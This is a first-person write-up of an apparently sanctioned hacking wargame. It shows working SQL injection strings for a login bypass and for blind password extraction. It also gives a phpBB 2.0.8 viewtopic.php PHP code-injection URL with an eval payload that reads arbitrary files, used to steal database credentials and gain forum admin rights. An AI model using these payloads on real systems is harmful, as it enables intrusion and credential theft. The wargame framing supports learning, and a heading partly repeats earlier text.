Wargames server 4 was launched; and once again my constant boredom changed instantly to a feeling of joy and competition. Just for fun, I had to be the first one to finish all targets. I started on it, instantly.
The wargames server was divided into six different targets, with 1 being the easiest and 6 the hardest, in my opinion.

Targets
Astalavista's wargames server version 4 was divided into 6 targets this time. These targets were as follows:
Target #1: You can see a java-based weblogin. If you insert the right username and password, you will be redirected to a webpage. There you will find string, which has to be decrypted. Get the DECRYPTED string.
Target #2: You have a access to a website listing the names of all users already done this part. To add a name, you have to login into an admin-panel. Find a way to log in and add you name to the list!
Target #3: The „only thing“ you have to do: Get administrator / moderator rights. After you have done this, write a posting in the „Administrators only“-Board, NOTHING MORE. Do not change anything of the board configuration!
Target #4: The link directs you to the weblogin of phpMyAdmin. Figure out the username / password, login in and create a table with your name in the database „target4“.
Target #5: There is a md5-hash of a string in /etc/magicword. Find a way to read the hash-value and get the original string.
Target #6: „Simply“ get a root-access and add your name to the list at the end of this page. Do NOT change anything with the systemconfiguration!

Target #1
You can see a java-based weblogin. If you insert the right username and password, you will be redirected to a webpage. There you will find string, which has to be decrypted. Get the DECRYPTED string.
There was an easy java login screen at the page. I looked at the source code to find out the archive and source code files of the java class. I launced Windows, because there are more java decompilers for it. I downloaded one and started quickly reading the source.
I'm not too good at java, but when I saw the following line, it was pretty clear:
url = New URL(getDocumentBase(), "getpasswords101.txt");
I changed the url into *getpasswords101.txt* and I saw the following result:
cryptical-string-t1.html
god | like
I didn't have to think twice before I changed the url into *cryptical-string-t1.html*. There was an encrypted string there:
4d 44 45 77 4d 54 41 78 4d 44 41 67 4d 44 45 78 4d 44 41 77 4d 44 45 67 4d 44 45 78 4d 54 41 77 4d 54 41 67 4d 44 45 78 4d 44 41 78 4d 54 45 67 4d 44 45 78 4d 44 41 78 4d 44 45 67

4d 44 45 78 4d 54 41 78 4d 44 41 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44 41 78 4d 54 41 77 4d 44 45 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44 45 78 4d 44 41 78 4d 44 41 67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 45 78 4d 44 45 78 4d 54 41 67 4d 44 45 78 4d 44 41 78 4d 44 45 67 4d 44 41 78 4d 44 41 77 4d 44 45 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44 45 77 4d 44 41 77 4d 54 45 67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 45 78 4d 44 45 78 4d 54 41 67 4d 44 45 78 4d 44 41 78 4d 54 45 67 4d 44 45 78 4d 54 41 77 4d 54 41 67 4d 44 45 78 4d 44 41 77 4d 44 45 67 4d 44 45 78 4d 54 41 78 4d 44 41 67 4d 44 45 78 4d 54 41 78 4d 44 45 67 4d 44 45 78 4d 44 45 78 4d 44 41 67 4d 44 45 78 4d 44 41 77 4d 44 45 67 4d 44 45 78 4d 54 41 78 4d 44 41 67 4d 44 45 78 4d 44 45 77 4d 44 45 67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 45 78 4d 44 45 78 4d 54 41 67 4d 44 45 78 4d 54 41 77 4d 54 45 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44 45 78 4d 54 41 78 4d 44 41 67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44 45 78 4d 54 45 77 4d 44 45 67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 45 78 4d 54 41 78 4d 44 45 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44 41 78 4d 54 45 77 4d 54 41 67 4d 44 41 78 4d 44 45 78 4d 44 45 67 4d 44 41 78 4d 44 45 77 4d 44 45 67

Obviously, this was hex. I went to astalavista's online tools and decrypted it using hex to ascii:

MDEwMTAxMDAgMDExMDAwMDEgMDExMTAwMTAgMDExMDAxMTEgMDExMDAxMDEgMDExMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDExMDAxMDAgMDExMDExMTEgMDExMDExMTAgMDExMDAxMDEgMDAxMDAwMDEgMDAxMDAwMDAgMDEwMDAwMTEgMDExMDExMTEgMDExMDExMTAgMDExMDAxMTEgMDExMTAwMTAgMDExMDAwMDEgMDExMTAxMDAgMDExMTAxMDEgMDExMDExMDAgMDExMDAwMDEgMDExMTAxMDAgMDExMDEwMDEgMDExMDExMTEgMDExMDExMTAgMDExMTAwMTEgMDAxMDAwMDAgMDExMTAxMDAgMDExMDExMTEgMDAxMDAwMDAgMDExMTEwMDEgMDExMDExMTEgMDExMTAxMDEgMDAxMDAwMDEgMDAxMDAwMDAgMDAxMTEwMTAgMDAxMDExMDEgMDAxMDEwMDEg

Another encryption. I wasn't sure which encryption it could be, but I base64 popped in my mind right away. I decoded it, and I was right:

01010100 01100001 01110010 01100111 01100101 01110100 00100000 00110001 00100000 01100100 01101111 01101110 01100101 00100001 00100000 01000011 01101111 01101110 01100111 01110010 01100001 01110100 01110101 01101100 01100001 01110100 01101001 01101111 01101110 01110011 00100000 01110100 01101111 00100000 01111001 01101111 01110101 00100001 00100000 00111010 00101101 00101001

Another obvious encryption: binary. And one last time, I had to use the encryption assortment Kit. As resulting string, I got:

Target 1 done! Congratulations to you! :-)

Target #2Target 1 done! Congratulations to you! :-)

You can see a java- based weblogin. If you insert the right username and password, you will be redirected to a webpage. There you will find string, which has to be decrypted. Get the DECRYPTED string.

Target 2 had it's own directory at the website, “/target2/”. There was nothing on this site except for two text boxes asking for a username and password. Besides that, there was “Users who already have done this target...” and there was one name; Gwanun.

The first thing I tried was and SQL injection, with username and password both set to “' blah”. The result was a page with an error message:

```
Database error: Invalid SQL: SELECT * FROM users WHERE name='' blah' && pwd='' blah' ORDER BY id ASC LIMIT 1
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'blah' && pwd='' blah' ORDER BY id ASC LIMIT 1' at line 3)
Session halted.
```

It was as I suspected. An error message indicating an SQL injection vulnerability. It selected a user where the name was the passed username and the password was the password password, all checked inside one query. The query executed seemed to be:

```
SELECT * FROM users WHERE name='{USERNAME}' && pwd='{PASSWORD}' ORDER BY id ASC
LIMIT 1
```

Where {USERNAME} was replaced with the passed username, and {PASSWORD} with the password. But both of these could contain characters like ', changing the entire query. My idea for query to execute was as follows:

```
SELECT * FROM users WHERE name='' && pwd='' or ''='' ORDER BY id ASC LIMIT 1
```

It would select a record where the name and password were empty, or where nothing equals nothing, which is every record available. This meant I would have to sent an empty username, and “*' or ''='* ” as password. And it worked. I got a screen asking for a new username and password, and after creating my own user with my own password it took me back to the main page of target2, with one name added to the list of users who already have done the target: Spoofed Existence.

At this point, I wanted to know the password Gwanun used. It could've come in useful, maybe if this password was used for later targets as well. So I had to change the query to log in if I was on the right track with the password I tried. I decided to use the LIKE statement in SQL. This statement can compare a value with a record, just like an “=” does, but LIKE supports wildcard characters. Namely % and _, where % indicates any series of characters of any length (may also be a length of zero), and _ indicates one single character.

Just a few examples with “LIKE” and “=” in SQL:

value1	*value2*	*LIKE*	*=*
“abc”	*“abc”*	*equals*	*equals*
“abc”	*“def”*	*differs*	*differs*
“ab%c”	*“abc”*	*equals*	*differs*
“a_c”	*“abc”*	*equals*	*differs*
“a_”	*“abc”*	*differs*	*differs*
“a%”	*“abc”*	*equals*	*differs*
“a%c”	*“abc”*	*equals*	*differs*

I could execute the following query:

```
SELECT * FROM users WHERE name='' && pwd='' or name='Gwanun' && pwd LIKE
'{SOME_CHECK}' ORDER BY id ASC LIMIT 1
```

For username, I would pass an empty one, and as password I'd have to use “*' or name='Gwanun' && pwd LIKE '{SOME_CHECK}*”, where SOME_CHECK is the statement (may include with wildcards) I want to check it with.
First I used % as check, and since it means anything, it should log in... And it did.
Now I used _; login failed. __; login failed. Etcetera, until it finally logged in when I used “___________” (11 under squares). This meant the password had 11 characters, since it only logged in with 11 wildcard matching one other character. Now I replaced the first _ with the a; login failed. b; login failed, and so on until it logged in with a p. The first character was a “p”. I

continued the same way with the second character and after finding it started with “pa”, I could easily guess the next few characters: “password”. After continuing with this, I finally found the entire password: “password4t2”. I figured it meant “password for (4) t[arget] 2”. Maybe he'd re- use it for the third target... and it's always funny to find out the passwords.

Target #3

The „only thing“ you have to do: Get administrator / moderator rights. After you have done this, write a posting in the „Administrators only“- Board, NOTHING MORE. Do not change anything of the board configuration!

I had a password from the user Gwanun, and I noted there was a user with that name in the forum. I tried to log in with the same username and password, but no luck. I tried “password4t3”; for target 3 in stead of 2, but that failed as well.

I launched seurityfocus [1] and looked for vulnerabilities for phpBB 2.0.8. The first vulnerability in the list for phpBB was titled “PHPBB Viewtopic.PHP PHP Script Injection Vulnerability ” [2]. It was possible to inject PHP code into the forum. The following proof of concept was listed:

/viewtopic.php?t=29040&highlight=%2527%252esystem(chr(108)%252echr(115))%252e%2527

I loaded this page and replaced t=29040 with an existing topic ID. No output. I played around with the *system(chr(108)%252e(chr115))* part. I knew what this did: it would try to run “ls”. I tried changing the called function to some non- existing function, with luck; it reported a php error and I knew my code was executed.

All I had to do was write a script. I tried some things, but soon I noticed I couldn't use quotes. I wrote a little script to output files to the screen. The result was the following:

$fn=$_GET["fn"];print("<pre>".htmlspecialchars(fread(fopen($fn,"r"),filesize($fn))));exit;

This script gets the passed “fn” value, then opens the file, reads all data, replaces all special characters to their html equivalent (eg. “<” to “&lt;”). I used “<pre>” to make lines seperated with a normal return to be displayed properly. Then exit would stop the execution of the normal script, to make sure it wouldn't append any information I didn't want or need.

I had to pass this link through the URL, so I wrote a simple php script to encode it for an url:

<? print urlencode('$fn=$_GET["fn"];print("<pre>".htmlspecialchars(fread(fopen($fn,"r"), filesize($fn))));exit;'); ?>

I executed this with the command “php filename.php”. The result was as follows:

%24fn%3D%24_GET%5B%22fn%22%5D%3Bprint%28%22%3Cpre%3E%22.htmlspecialchars%28fread%28fopen%28%24fn%2C%22r%22%29%2Cfilesize%28%24fn%29%29%29%29%3Bexit%3B

Now I needed to inject this script. I could pass a parameter named “fn” to change the file to read. To execute it, I used the following link:

/viewtopic.php?t=2&highlight=%2527%252eeval(stripslashes($_GET[a]))%252e%2527&a=%24fn%3D%24_GET%5B%22fn%22%5D%3Bprint%28%22%3Cpre%3E%22.htmlspecialchars%

28fread%28fopen%28%24fn%2C%22r%22%29%2Cfilesize%28%24fn%29%29%29%29%3Bexit%3B&fn=config.php
This would output config.php, I knew the board's configuration would be there. It was, displayed the following on the screen:

```
<?php


// phpBB 2.x auto-generated config file
// Do not change anything in this file!

$dbms = 'mysql4';

$dbhost = 'localhost';
$dbname = 'phpBB';
$dbuser = 'mysqluser';
$dbpasswd = 'wargames4';

$table_prefix = 'forum_';

define('PHPBB_INSTALLED', true);

?>
```

I knew the username and password for the database. So all I had to do was log into phpMyAdmin, another public service. I opened it up and it asked for a password. I typed the information I just found and I was in.
I opened the database phpBB, opened the table forum_members, clicked browse and looked through the list of users. I noticed the user I created earlier. I never received an activation mail, though.
I clicked edit and searched for the fields "user_active" (changed it to 1, so that I was activated and I didn't need the activation mail anymore) and "user_level" (changed this to 1, meaning administrator).
I opened the forum again and logged into my user. I was an administrator on the forum. Simple job to post on the administrator-only forum now.

[1]: www.securityfocus.com
[2]: http://www.securityfocus.com/bid/10701

Target #4

The link directs you to the weblogin of phpMyAdmin. Figure out the username / password, login in and create a table with your name in the database „target4".

I already had everything I needed. At target #3, I found a user and password to log in with to phpMyAdmin. I used this again, and was without any modification able to create a new table with my name in it. Target #4 done.

Target #5

There is a md5-hash of a string in /etc/magicword. Find a way to read the hash-value and get the original string.

Right, I was able to read files already. So why not just use it again. This time I changed the URL I opened to:
/viewtopic.php?t=2&highlight=%2527%252eeval(stripslashes($_GET[a]))%252e%2527&a=%24fn%3D%24_GET%5B%22fn%22%5D%3Bprint%28%22%3Cpre%3E%22.htmlspecialchars%28fread%28fopen%28%24fn%2C%22r%22%29%2Cfilesize%28%24fn%29%29%29%29%3Bexit%3B&fn=/etc/magicword
And it worked again. It displayed the following (encrypted) hash:
81dc9bdb52d04dc20036dbd8313ed055
Obviously MD5. The target description even told me it was. So all I had to do next was to download a brute forcer and run it on the hash. The wordlist contained the password: “1234”.
Just to be sure, I tried to run “*echo -n 1234 | md5sum*”. This would echo out “1234” without a newline and create the md5sum of this (this only works in Linux, however). It displayed exactly the same hash as the one I found. I found it, and finished target #5.

Target #6

„Simply“ get a root-access and add your name to the list at the end of this page. Do NOT change anything with the systemconfiguration!

This one I was not able to finish. It seemed to me that you would need 0-day exploits, which I didn't have. There wasn't any file or leak I could use. And I was told there was no known way. Thus I stopped doing this one.

Conclusion

All with all, I found the wargames server not too tough, except for target #6. It was another fun wargames server, and I enjoyed myself for a while with it.
Now, it's back to my constant boredom... Waiting for wargames server #5.